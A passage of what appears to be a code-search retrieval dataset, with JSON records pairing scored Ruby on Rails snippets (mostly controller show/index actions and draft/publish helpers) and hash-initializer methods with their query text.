"score": "0.5630845",
"text": "def show\n @draft_company_category = DraftCompanyCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @draft_company_category }\n end\n end",
"title": ""
},
{
"docid": "542a8da07befca4439c5634483179f42",
"score": "0.5613739",
"text": "def show\n @debate = Debate.find_by_permalink!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @debate }\n end\n end",
"title": ""
},
{
"docid": "13beb6f6bc38bae77da80282509eec48",
"score": "0.559509",
"text": "def show\n @post205 = Post205.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post205 }\n end\n end",
"title": ""
},
{
"docid": "82e0bab78dc4887bfe8b6e9ae36f393d",
"score": "0.55863744",
"text": "def show\n @downfile = Downfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @downfile }\n end\n end",
"title": ""
},
{
"docid": "ed7d15c99e843518b60f3e2199bb70cd",
"score": "0.5578721",
"text": "def show\n respond_to do |format|\n format.html # show.html.haml\n format.any(:rss, :atom) { render :layout => false }\n format.xml { render :xml => @news_archive }\n end\n end",
"title": ""
},
{
"docid": "a8338177ad3e6dd0e4a917f728f9699f",
"score": "0.5571462",
"text": "def show_production_inbox\n doc = Hpricot::XML(request.raw_post)\n order_id = parse_xml(doc/:params/'id')\n @orders = Production::ProductionCrud.show_production_inbox(order_id)\n respond_to do |wants|\n wants.xml \n end\n end",
"title": ""
},
{
"docid": "77bb4d3952acb6cabc3a23e0a35a2809",
"score": "0.55699235",
"text": "def temporary_drafts\n revisions_by_status(RevisionInfo::Status::TEMPORARY_DRAFT)\n end",
"title": ""
},
{
"docid": "8c1dc97d5c997222b8cb13653cc318d3",
"score": "0.5568474",
"text": "def publish_draft(params) \n post_title = params['post']['title']\n post_date = (Time.now).strftime(\"%Y-%m-%d\")\n\n content = yaml_data(post_title).to_yaml + \"---\\n\" + params[:post][:content]\n post_file = (post_date + \" \" + post_title).to_url + '.md'\n file = File.join(jekyll_site.source, *%w[_drafts], post_file)\n File.open(file, 'w') { |file| file.write(content)}\n post_file\n end",
"title": ""
},
{
"docid": "7cc150c490dfc770040710b22fc9466e",
"score": "0.55572724",
"text": "def show\n @post = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "6ee45a7aac213c5f618e9f445f00fe91",
"score": "0.5552764",
"text": "def show\n @post206 = Post206.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post206 }\n end\n end",
"title": ""
},
{
"docid": "be38d67d7e32ab0b32dfab0a37fa9fed",
"score": "0.55471873",
"text": "def index\n @resumes = Resume.where(\"publish = ?\", true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @resumes }\n end\n end",
"title": ""
},
{
"docid": "4728b8488a090e1072c925bf0ae2f3b2",
"score": "0.5543767",
"text": "def published\n @pages = Page.published.order(\"published_on desc\")\n respond_to do |format|\n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n end",
"title": ""
},
{
"docid": "9e1f97027fb25e6f31c2d7f6fe20611b",
"score": "0.5517636",
"text": "def show\n @derekslist = Derekslist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @derekslist }\n end\n end",
"title": ""
},
{
"docid": "d6698255b2dcd7f7d3430c1dddfc36c1",
"score": "0.551429",
"text": "def index\n @posts = Feed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "51607a221ca8edb8dbad2c4737a07e0d",
"score": "0.5511393",
"text": "def unpublished\n @pages = Page.unpublished.order(\"published_on desc\")\n respond_to do |format|\n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n end",
"title": ""
},
{
"docid": "2503344a23899233a369277624eb26d4",
"score": "0.5501817",
"text": "def draft\n @draft_version ||= DoctorVersion.find_by_doctor_id_and_content_status_id(self.id, ContentStatus[:draft].id)\n end",
"title": ""
},
{
"docid": "859a7771f439165945e19c5f0b3fcafd",
"score": "0.5500536",
"text": "def show\n @body = Body.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @body }\n end\n end",
"title": ""
},
{
"docid": "677a01e6a4a9efde6eb3ea045af061e5",
"score": "0.5493696",
"text": "def show\n redirect_to('/')\n @news_letter = NewsLetter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_letter }\n end\n end",
"title": ""
},
{
"docid": "8b5756df241556ed4066c513b0d30a65",
"score": "0.54932576",
"text": "def update\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n if @draft.update_attributes(params[:draft])\n flash[:notice] = 'Draft was successfully updated.'\n format.html { redirect_to(@draft) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @draft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e76166a32ad1d5919e3105a7e8d68e3",
"score": "0.54921365",
"text": "def slides_xml_url\n return '/archive/detail/' + id.to_s + '/slides.xml'\n end",
"title": ""
},
{
"docid": "d8117094accac2d081f0bb4cb3f520d8",
"score": "0.54909074",
"text": "def show\n @deliver = Deliver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @deliver }\n end\n end",
"title": ""
},
{
"docid": "144d29011c03cadfddf6aa58b1a8e4ba",
"score": "0.5483898",
"text": "def index\n @published_issues = PublishedIssue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @published_issues }\n end\n end",
"title": ""
},
{
"docid": "4e0c9320fd4313af25cedad0846f9b59",
"score": "0.5482935",
"text": "def show\n @news_feed = NewsFeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_feed }\n end\n end",
"title": ""
},
{
"docid": "f1e182f95b50b83f25db46e666dbf46a",
"score": "0.5482781",
"text": "def destroy\n @draft.destroy\n respond_to do |format|\n format.html { redirect_to drafts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f1e182f95b50b83f25db46e666dbf46a",
"score": "0.5482781",
"text": "def destroy\n @draft.destroy\n respond_to do |format|\n format.html { redirect_to drafts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b5d42e1d5b01fdd6b6d73850173c3a0a",
"score": "0.5479743",
"text": "def show\n @newsletter_archive = NewsletterArchive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newsletter_archive }\n end\n end",
"title": ""
},
{
"docid": "a8b187dab7b6d3c00d8f78e1db790a56",
"score": "0.54682887",
"text": "def show\n @rss_post = RssPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rss_post }\n end\n end",
"title": ""
},
{
"docid": "30bc3a46d22551ed3c5404cba7ef0be8",
"score": "0.54610366",
"text": "def preview_entity_draft\n service_response = AdminManagement::CmsConfigurator::PreviewEntityDraft.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "1f20fed4b13060106a5596a1784884c9",
"score": "0.5459079",
"text": "def index\n @articles = @current_department.articles.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end",
"title": ""
},
{
"docid": "195d6c7a82895146d17f3cc6a38de27e",
"score": "0.54569125",
"text": "def index\n @embedded_documents = EmbeddedDocument.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @embedded_documents }\n end\n end",
"title": ""
},
{
"docid": "e118d06cebcb371f4742bec75c418b56",
"score": "0.54549474",
"text": "def show\n @attachments = Attachments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachments }\n end\n end",
"title": ""
},
{
"docid": "3aa2f129fedc80fad961fc740566baf0",
"score": "0.54528093",
"text": "def show\n @post207 = Post207.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post207 }\n end\n end",
"title": ""
},
{
"docid": "70c2a53079c9d6764c0d7739d4b190ad",
"score": "0.54525703",
"text": "def index\n @feeds = Feed.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feeds }\n end\n end",
"title": ""
},
{
"docid": "38dba797d4b19a355f0c741fcb85f4a6",
"score": "0.54472506",
"text": "def show\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seed }\n end\n end",
"title": ""
},
{
"docid": "031edef39709bd9d7e24999392b1517d",
"score": "0.54461837",
"text": "def feeds\n @departments = Department.active.order(\"position\")\n @title = t('documents.feeds_rss')\n @breadcrumbs_info = [[@title, feeds_site_path]]\n @feed_types = ['news', 'comments']\n @feed_types << 'proposals' if Settings.optional_modules.proposals\n @feed_types << 'debates' if Settings.optional_modules.debates\n respond_to do |format|\n format.html\n end\n end",
"title": ""
},
{
"docid": "3d0ded119338504b51b2dec3b457c2e6",
"score": "0.5444579",
"text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"title": ""
},
{
"docid": "3d0ded119338504b51b2dec3b457c2e6",
"score": "0.5444579",
"text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"title": ""
},
{
"docid": "3d0ded119338504b51b2dec3b457c2e6",
"score": "0.5444579",
"text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"title": ""
},
{
"docid": "3d0ded119338504b51b2dec3b457c2e6",
"score": "0.5444579",
"text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"title": ""
},
{
"docid": "3d0ded119338504b51b2dec3b457c2e6",
"score": "0.5444579",
"text": "def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"title": ""
},
{
"docid": "559a906c04b5a8d7d5612e3cc2ad0afb",
"score": "0.5442594",
"text": "def index\n @editions = Edition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @editions }\n end\n end",
"title": ""
},
{
"docid": "5dfa8bb755f57a82e515a1df88d4621b",
"score": "0.54421896",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "5dfa8bb755f57a82e515a1df88d4621b",
"score": "0.54421896",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "11dc5e78548481913cd7ed771c27b3a9",
"score": "0.54420644",
"text": "def new\n @draft_personnel = DraftPersonnel.new\n\n respond_to do |format|\n \n format.xml { render :xml => @draft_personnel }\n end\n end",
"title": ""
},
{
"docid": "81bbc46c8bc7577428c2378cb13093da",
"score": "0.5440564",
"text": "def draft\n @draft_version ||= ResearchTopicVersion.find_by_research_topic_id_and_content_status_id(self.id, ContentStatus[:draft].id)\n end",
"title": ""
},
{
"docid": "6babd3d819e4228695c5a3489f96873c",
"score": "0.5438518",
"text": "def new\n @draft_product = DraftProduct.new\n\n respond_to do |format|\n\n format.xml { render :xml => @draft_product }\n end\n end",
"title": ""
},
{
"docid": "67fd4f4ba9c47b6580f21b66e3776573",
"score": "0.5432039",
"text": "def draft\n @draft_version ||= EventTopicVersion.find_by_event_topic_id_and_content_status_id(self.id, ContentStatus[:draft].id)\n end",
"title": ""
}
] |
b33e8ba043dc6a77b4423b3af67ae194
|
Builds the object from hash
|
[
{
"docid": "64cc12bc97b62716d4882a58f0b6d473",
"score": "0.0",
"text": "def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.openapi_types.each_pair do |key, type|\n if type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end # or else data not found in attributes(hash), not an issue as the data can be optional\n end\n\n self\n end",
"title": ""
}
] |
[
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.7569031",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.7569031",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.7569031",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "ae8dd6ff79c5f35246a045e773ddde16",
"score": "0.7374953",
"text": "def from_hash(hash)\n end",
"title": ""
},
{
"docid": "ae8dd6ff79c5f35246a045e773ddde16",
"score": "0.7374953",
"text": "def from_hash(hash)\n end",
"title": ""
},
{
"docid": "9d2fbaf59b434ce9a278dceeca93a9e0",
"score": "0.728415",
"text": "def create(hash); end",
"title": ""
},
{
"docid": "d97c10ac3bead5865b584e1657128340",
"score": "0.72198695",
"text": "def from_hash(data); end",
"title": ""
},
{
"docid": "4f2153529a0aa0b2fabe1bde3fdc5418",
"score": "0.72022307",
"text": "def from_hash(hash)\n super\n @creator = hash['creator'] if hash.has_key? 'creator'\n @name = hash['name'] if hash.has_key? 'name'\n @version = hash['version'] if hash.has_key? 'version'\n @extension_id = hash['extensionId'] if hash.has_key? 'extensionId'\n end",
"title": ""
},
{
"docid": "9feff5592775840e8bbab168845026b2",
"score": "0.7111177",
"text": "def from_hash( hash )\n new.set( hash )\n end",
"title": ""
},
{
"docid": "b548d2a3287cd5b22ee765da94f1468f",
"score": "0.7081844",
"text": "def initialize(hash)\n @ostruct = hash.to_ostruct\n end",
"title": ""
},
{
"docid": "2fabc78718e9cb88209fd03cb9a69ba5",
"score": "0.70799917",
"text": "def initialize(hash) @hash = hash end",
"title": ""
},
{
"docid": "5957dbaa408defa61db555ce79a1adbb",
"score": "0.70438784",
"text": "def initialize(build_hash)\n\t\tsuper\n\tend",
"title": ""
},
{
"docid": "1b5c27538841a18c18c9251ee353d906",
"score": "0.7020552",
"text": "def initialize( hash=nil )\n\t\t\thash ||= {}\n\t\t\t@hash = symbolify_keys( hash )\n\t\t\t@dirty = false\n\t\tend",
"title": ""
},
{
"docid": "6b4ba5ffe88965616d51115d3d46696d",
"score": "0.69677407",
"text": "def from_hash(hash)\n new.from_hash(hash)\n end",
"title": ""
},
{
"docid": "f140e4e41bd6f828ef1848d7f3bedf43",
"score": "0.6921048",
"text": "def build(hash = {})\n type = hash['type'] || hash[:type]\n\n if type && !type.empty?\n \"#{self.name}::#{type}\".constantize.new(hash)\n else\n new(hash)\n end\n end",
"title": ""
},
{
"docid": "a3da6659112ca8b0bff06444e6dea6f3",
"score": "0.69207746",
"text": "def initialize(hash)\n\t\t\tset_from_hash(hash)\n\t\tend",
"title": ""
},
{
"docid": "f1ecfd21a80dbb3694066379057748c3",
"score": "0.69098043",
"text": "def initialize(hash)\n # copy over values from hash\n self.merge!(hash)\n end",
"title": ""
},
{
"docid": "7187fa9b6f3ff98656d64fd71b6f3967",
"score": "0.68550766",
"text": "def build_hash\n builder = HashBuilder.new(encoding_token)\n yield builder if block_given?\n builder.hash\n end",
"title": ""
},
{
"docid": "1d42c0c9d6525fd8f35dbb6bf91da6e1",
"score": "0.68043536",
"text": "def initialize(hash)\n @hash = hash\n end",
"title": ""
},
{
"docid": "1d42c0c9d6525fd8f35dbb6bf91da6e1",
"score": "0.68043536",
"text": "def initialize(hash)\n @hash = hash\n end",
"title": ""
},
{
"docid": "1aeb5b7cb9c689d44ddf49dfbb64719b",
"score": "0.6790707",
"text": "def initialize_from_hash(hsh)\n @timestamp = hsh[:timestamp]\n @label = hsh[:label]\n @type = hsh[:type].to_sym\n @data = hsh[:data]\n @path = File.join(session.path, \"#{label}.json\")\n @defer_sync = false\n end",
"title": ""
},
{
"docid": "55514409d35d39baab0a437b8cbc0e48",
"score": "0.6790657",
"text": "def initialize\n super()\n @hash = {}\n end",
"title": ""
},
{
"docid": "bf44e5fe09c84bf215a01f8b48539fc3",
"score": "0.6787936",
"text": "def build_hash(omniauth_hash)\n user_hash = Hash.new\n user_hash[:token] = omniauth_hash.credentials.token\n user_hash[:name] = omniauth_hash.info.name\n user_hash[:nickname] = omniauth_hash.info.nickname\n user_hash[:uid] = omniauth_hash.info.uid\n user_hash[:image] = omniauth_hash.info.image\n\n user_hash\n end",
"title": ""
},
{
"docid": "e2226d59fc661c90960b7919b761d425",
"score": "0.67831594",
"text": "def initialize(hash={})\n @hash = hash\n end",
"title": ""
},
{
"docid": "3d05b5490ae0b97800541421e873993b",
"score": "0.6769788",
"text": "def initialize(hash={})\n @hash = hash\n end",
"title": ""
},
{
"docid": "8a74fcc43166a09d8f5b3f9fa14c3c7a",
"score": "0.67388344",
"text": "def from_hash(hash)\n hash = CoreExt::HashWithIndifferentAccess.new(hash)\n # Pop off the root key if one is specified and given\n self.class.root_key and hash[self.class.root_key] and hash = hash[self.class.root_key]\n # Then set the attributes on the klass if they're present\n hash.each do |name, value|\n self.send(\"#{name}=\", value) if self.respond_to? name\n end\n self\n end",
"title": ""
},
{
"docid": "869c19da61a375d30bb32b064ca47746",
"score": "0.67259365",
"text": "def initialize(key,hash)\n super()\n @name = key\n merge! hash\n self\n end",
"title": ""
},
{
"docid": "0edfe66783298694bddba724d0feea94",
"score": "0.6724185",
"text": "def generate(hash)\n config = hash.dup\n identifier = config.delete('type')\n\n klass = retrieve(identifier)\n\n klass.new_from_hash(hash)\n end",
"title": ""
},
{
"docid": "6c641c148fb049518c716e2a6b970af6",
"score": "0.66984326",
"text": "def generate(hash)\n identifier = hash.delete('type')\n\n klass = retrieve(identifier)\n\n klass.new_from_hash(hash)\n end",
"title": ""
},
{
"docid": "7d63a7b603a6caf8cad1ba1f7cb16b84",
"score": "0.6685488",
"text": "def create_with(hash)\n obj = nil\n arity = self.method(:initialize).arity\n\n if arity > 0 || arity < -1\n obj = self.allocate\n else\n obj = self.new\n end\n\n obj.instance_assign(hash)\n\n ogmanager.with_store do |s|\n s.save(obj)\n end\n\n return obj\n end",
"title": ""
},
{
"docid": "27be92f6c0d19e8a27b8650206ff8f9b",
"score": "0.6675129",
"text": "def from_hash(hash)\n super\n @platform_identifier = hash['platformIdentifier'] if hash.has_key? 'platformIdentifier'\n @sdk_identifier = hash['sdkIdentifier'] if hash.has_key? 'sdkIdentifier'\n @sdk_creator = hash['sdkCreator'] if hash.has_key? 'sdkCreator'\n @integrator = hash['integrator'] if hash.has_key? 'integrator'\n @shopping_cart_extension = Domain::Metadata::ShoppingCartExtension.new_from_hash(hash['shoppingCartExtension']) if hash.has_key? 'shoppingCartExtension'\n end",
"title": ""
},
{
"docid": "1a19839795db041c37ada01bb2eedd67",
"score": "0.6672195",
"text": "def initialize_from_hash(hsh)\n @timestamp = hsh[:timestamp]\n @label = hsh[:label]\n @type = hsh[:type].to_sym\n @data = hsh[:data]\n @path = File.join(session.directory, \"#{label}.json\")\n end",
"title": ""
},
{
"docid": "dfb2a1a00229e1d0e35475f86353a4ff",
"score": "0.6667735",
"text": "def initialize(hash)\n %w(id type name video logo).each do |f|\n instance_variable_set \"@#{f}\", hash[f]\n end\n\n @products = Plaid.symbolize_hash(hash['products'])\n @forgotten_password_url = hash['forgottenPassword']\n @account_locked_url = hash['accountLocked']\n @account_setup_url = hash['accountSetup']\n @fields = hash['fields'].map { |fld| Plaid.symbolize_hash(fld) }\n @colors = Plaid.symbolize_hash(hash['colors'])\n @name_break = hash['nameBreak']\n end",
"title": ""
},
{
"docid": "0f942b1730adf9bb7a7e216645233050",
"score": "0.6663251",
"text": "def initialize(hash)\n super(\n hash.map do |k,v|\n v = super(v) if v.is_a? Hash\n [k, v]\n end.to_h\n )\n end",
"title": ""
},
{
"docid": "f96176e828255afb968c81d0912c4340",
"score": "0.66467136",
"text": "def from_hash(hash)\n new(hash[\"source\"],\n hash[\"oid\"],\n q(hash[\"namens\"], hash[\"name\"]),\n hash[\"strict\"] == \"t\",\n hash[\"secdef\"] == \"t\",\n hash[\"setof\"] == \"t\",\n q(hash[\"typens\"], shorten(hash[\"type\"])),\n volatility(hash[\"volatility\"]),\n hash[\"arg_modes\"].to_s.split(\",\").map{|x| mode(x.strip) },\n hash[\"arg_names\"].to_s.split(\",\").map{|x| q(x.strip) },\n hash[\"arg_types\"].to_s.split(\",\").map{|x| q(shorten(x.strip)) })\n end",
"title": ""
},
{
"docid": "75b736a0d0e791eb8c39ea530b4564fd",
"score": "0.6630467",
"text": "def from_h hash\n from_json(JSON.generate(hash))\n end",
"title": ""
},
{
"docid": "75b736a0d0e791eb8c39ea530b4564fd",
"score": "0.6630467",
"text": "def from_h hash\n from_json(JSON.generate(hash))\n end",
"title": ""
},
{
"docid": "f1a38d46eb86b2c52d0cc65df509aeba",
"score": "0.66299415",
"text": "def build_from_keys(hash)\n hash.each { |key, value| instance_variable_set(\"@#{key}\", value) }\n end",
"title": ""
},
{
"docid": "17d04995dca216a21e24e3a330ef54d9",
"score": "0.6615349",
"text": "def from_hash hash\n @id= hash['id']\n\n @name= hash['name']\n @user_id= hash['user_id']\n @url= hash['url']\n @cron= hash['cron']\n @timezone= hash['timezone']\n @next_execution= hash.has_key?('next_execution') ? DateTime.parse(hash['next_execution']) : nil\n @enabled= hash['enabled']\n @timeout= hash['timeout']\n\n @mail_when_success = hash['mail_when_success']\n @mail_when_failure = hash['mail_when_failure']\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"title": ""
},
{
"docid": "36d3df4818e3cb26ce3bf3bf3ce12847",
"score": "0.66117746",
"text": "def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"title": ""
},
{
"docid": "f6ac21dde4f192eec2183cb3d3067bdd",
"score": "0.66050386",
"text": "def initialize(hash)\n @id = hash[\"id\"]\n @isbn = hash[\"isbn\"]\n @book_id = hash[\"book_id\"]\n @author = hash[\"author\"]\n @edition_num = hash[\"edition\"]\n @publisher = hash[\"publisher\"]\n @cover = hash[\"cover\"]\n @image = hash[\"image\"]\n @title = hash[\"title\"]\n @for_sale = hash[\"for_sale\"]\n @course_code = hash[\"course_code\"]\n end",
"title": ""
},
{
"docid": "407bbd13604ffbc6f6493f52c4aef9ad",
"score": "0.6592981",
"text": "def initialize(hash)\n @material = hash[:material]\n @cost = hash[:cost]\n @brand = hash[:brand]\n end",
"title": ""
},
{
"docid": "9b68905fd91f6e97be9abfc5c6564bb0",
"score": "0.65667874",
"text": "def from_hash(h)\n h = {} if h.nil? # nasty required check\n h = h.dup\n result = self.new\n result._internal_hash = h\n h.each do |key,value|\n from_hash_parse result, h, key, value\n end\n def result.method_missing(name, *args, &block)\n Hashi.to_object(@_internal_hash).send(name, args[0], block)\n end\n result\n end",
"title": ""
},
{
"docid": "00ba555bdffd1741a118f7ea3a933205",
"score": "0.656584",
"text": "def from_hash(data)\n @discovery_method = data.fetch(\"discovery_method\", \"mc\")\n @agents = data.fetch(\"agents\", [\"rpcutil\"])\n @facts = data.fetch(\"facts\", [])\n @classes = data.fetch(\"classes\", [])\n @identity = data.fetch(\"identities\", [])\n @compound = data[\"compound\"]\n\n @_rpc_client = nil\n\n self\n end",
"title": ""
},
{
"docid": "92752d3eacfb234464c59b0b6e792f1d",
"score": "0.6540458",
"text": "def initialize(initial_hash = nil)\n from_h!(initial_hash)\n end",
"title": ""
},
{
"docid": "d70bddff72d9787a1ac2cb70e41d4f5d",
"score": "0.65334994",
"text": "def initialize(hash = nil)\n end",
"title": ""
},
{
"docid": "4ef627cb72c71eb8483bbfb9875bc1bc",
"score": "0.6528063",
"text": "def load_from_hash!(hash); end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.65243065",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.65243065",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.65243065",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "737d3ff172e178727bb5da3b1ff8bac5",
"score": "0.6515727",
"text": "def build(hash)\n hash, uuid, inventory_object = primary_index_scan(hash)\n\n # Return InventoryObject if found in primary index\n return inventory_object unless inventory_object.nil?\n\n # We will take existing skeletal record, so we don't duplicate references for saving. We can have duplicated\n # reference from local_db index, (if we are using .find in parser, that causes N+1 db queries), but that is ok,\n # since that one is not being saved.\n inventory_object = skeletal_primary_index.delete(uuid)\n\n # We want to update the skeletal record with actual data\n inventory_object&.assign_attributes(hash)\n\n # Build the InventoryObject\n inventory_object ||= new_inventory_object(enrich_data(hash))\n\n # Store new InventoryObject and return it\n push(inventory_object)\n inventory_object\n end",
"title": ""
},
{
"docid": "91ff02ca3c6955d1736362070d03fe3b",
"score": "0.6512381",
"text": "def initialize(hash = {})\n end",
"title": ""
},
{
"docid": "248197ede8d794b94566e76e8d502b0b",
"score": "0.6510128",
"text": "def set_from_hash(hash = {})\n\t\t\tbuild\n hash.each do |k,v|\n\t\t\t\t# set to nil so that any previous values get overridden by the\n\t\t\t\t# accessor. classes should use build() if they want to set default\n\t\t\t\t# values.\n\t\t\t\tinstance_variable_set(\"@#{k}\".to_sym, nil)\n\t\t\t\tdefine_singleton_method(k.to_sym) do\n\t\t\t\t\t\tiv = self.instance_variable_get(\"@#{k}\".to_sym)\n\t\t\t\t\t\treturn iv if iv\n\t\t\t\t\t\treturn self.instance_variable_set(\"@#{k}\".to_sym, coerce(v))\n\t\t\t\tend\n end\n\t\t\tpost_build\n end",
"title": ""
},
{
"docid": "b5ba92945cc28a7371bfd85fbc01e30e",
"score": "0.65041757",
"text": "def initialize(hash=nil)\n @table = {}\n if hash\n hash.each_pair do |k, v|\n k = k.to_sym\n @table[k] = v\n new_ostruct_member(k)\n end\n end\n end",
"title": ""
},
{
"docid": "ddfad1b4440053829f2545356f888bc6",
"score": "0.6501979",
"text": "def from_hash(hash)\n self.variables = hash[:variables] if hash[:variables]\n self.messages = hash[:messages]\n self.wildcard_dependencies = hash[:wildcard_dependencies]\n self.dependencies = hash[:dependencies]\n self.added_files = hash[:added_files]\n return self\n end",
"title": ""
},
{
"docid": "4df420256c8da88b01333fe1bb34915d",
"score": "0.6501588",
"text": "def from_hash( h)\n\t\t@name = h.keys.first\n\t\th[@name].each { |k,v| self.add_attribute( k, v) }\n\tend",
"title": ""
},
{
"docid": "1037398e94df26512bcc30fc32d66b46",
"score": "0.64872634",
"text": "def initialize(hash)\n @hash = hash\n @type = identify(hash)\n sort_commons\n end",
"title": ""
},
{
"docid": "35dea14c4d1c79d2ee2e3cea2b6cc391",
"score": "0.6466813",
"text": "def from_hash(hsh)\n array_to_structure super\n end",
"title": ""
},
{
"docid": "689cc4d7a464bb8379a3d5d9433f6187",
"score": "0.6466401",
"text": "def build_hash_for(body); end",
"title": ""
},
{
"docid": "0fd7f9f016e6be18ba8fc7a385b63e04",
"score": "0.6459935",
"text": "def from_hash(hash, opts = {})\n data = hash.dup\n data.delete('chef_type')\n data.delete('json_class')\n\n metadata = Mash.new(data.delete(SecureDataBag::METADATA_KEY) || {})\n metadata = metadata.merge(opts)\n\n item = new(metadata)\n item.data_bag(data.delete('data_bag')) if data.key?('data_bag')\n item.raw_data = data.key?('raw_data') ? data['raw_data'] : data\n item\n end",
"title": ""
},
{
"docid": "06d14dc5c2952acaad8d07a3d4a8d1ab",
"score": "0.6450249",
"text": "def from_hash(hash)\n @headers = hash[:headers] || {}\n @path = hash[:path] || '/'\n @query = hash[:query] || ''\n @leftovers = hash[:body]\n\n set_version\n @state = :finished\n end",
"title": ""
},
{
"docid": "d8f050ddd5239a17fb05396301c990f4",
"score": "0.6445911",
"text": "def initialize(hash)\n @name = hash[:name]\n @brewery = hash[:brewery]\n @rating = hash[:rating]\n @style = hash[:style]\n @abv = hash[:abv]\n end",
"title": ""
},
{
"docid": "39d42b8eb578c27509760948e8c20ee8",
"score": "0.644553",
"text": "def from_hash(hash)\n new(hash[:body], hash[:headers], hash[:status])\n end",
"title": ""
},
{
"docid": "0105ad21034c2aa19bd4f63ac2eb6bbd",
"score": "0.64414936",
"text": "def initialize(hash)\n super nil\n hash ||= {}\n bad_file(hash.class) unless hash.is_a? Hash\n merge! hash.symbolize_keys\n check_types\n end",
"title": ""
},
{
"docid": "7d1803f33e1a433e0f9f0455d34e9a0c",
"score": "0.643803",
"text": "def initialize(hash = {})\n @hash = hash\n end",
"title": ""
},
{
"docid": "ad6deec4ebb7a6f502f86df0dbda4ea8",
"score": "0.6434375",
"text": "def new_object= hash\n @@new_object.deep_merge! hash.deep_symbolize_keys\n end",
"title": ""
},
{
